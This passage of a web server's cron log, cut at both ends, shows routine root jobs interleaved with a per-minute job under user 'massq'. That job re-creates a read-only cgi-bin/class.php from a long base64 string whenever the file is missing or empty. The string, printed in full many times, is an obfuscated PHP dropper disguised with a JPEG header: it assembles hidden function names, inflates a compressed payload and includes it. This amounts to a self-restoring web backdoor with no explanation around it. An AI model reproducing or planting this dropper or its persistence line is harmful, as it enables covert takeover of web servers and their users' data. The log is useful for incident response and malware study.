QBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:05:01 server CROND[27439]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 16:05:01 server CROND[27438]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 16:05:01 server CROND[27441]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 16:06:01 server CROND[27561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:07:01 server CROND[27631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:08:01 server CROND[27685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:09:01 server CROND[27750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:09:01 server CROND[27751]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 16:10:01 server CROND[27815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:10:01 server CROND[27814]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 16:10:01 server CROND[27816]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 16:10:01 server CROND[27817]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 16:11:01 server CROND[28027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:12:01 server CROND[28117]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 16:12:01 server CROND[28118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:13:01 server CROND[28171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:14:01 server CROND[28221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:15:01 server CROND[28275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:15:01 server CROND[28276]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 16:15:01 server CROND[28277]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 16:15:01 server CROND[28278]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  7 16:16:01 server CROND[28522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:17:01 server CROND[28570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:18:01 server CROND[28618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:19:01 server CROND[28677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9f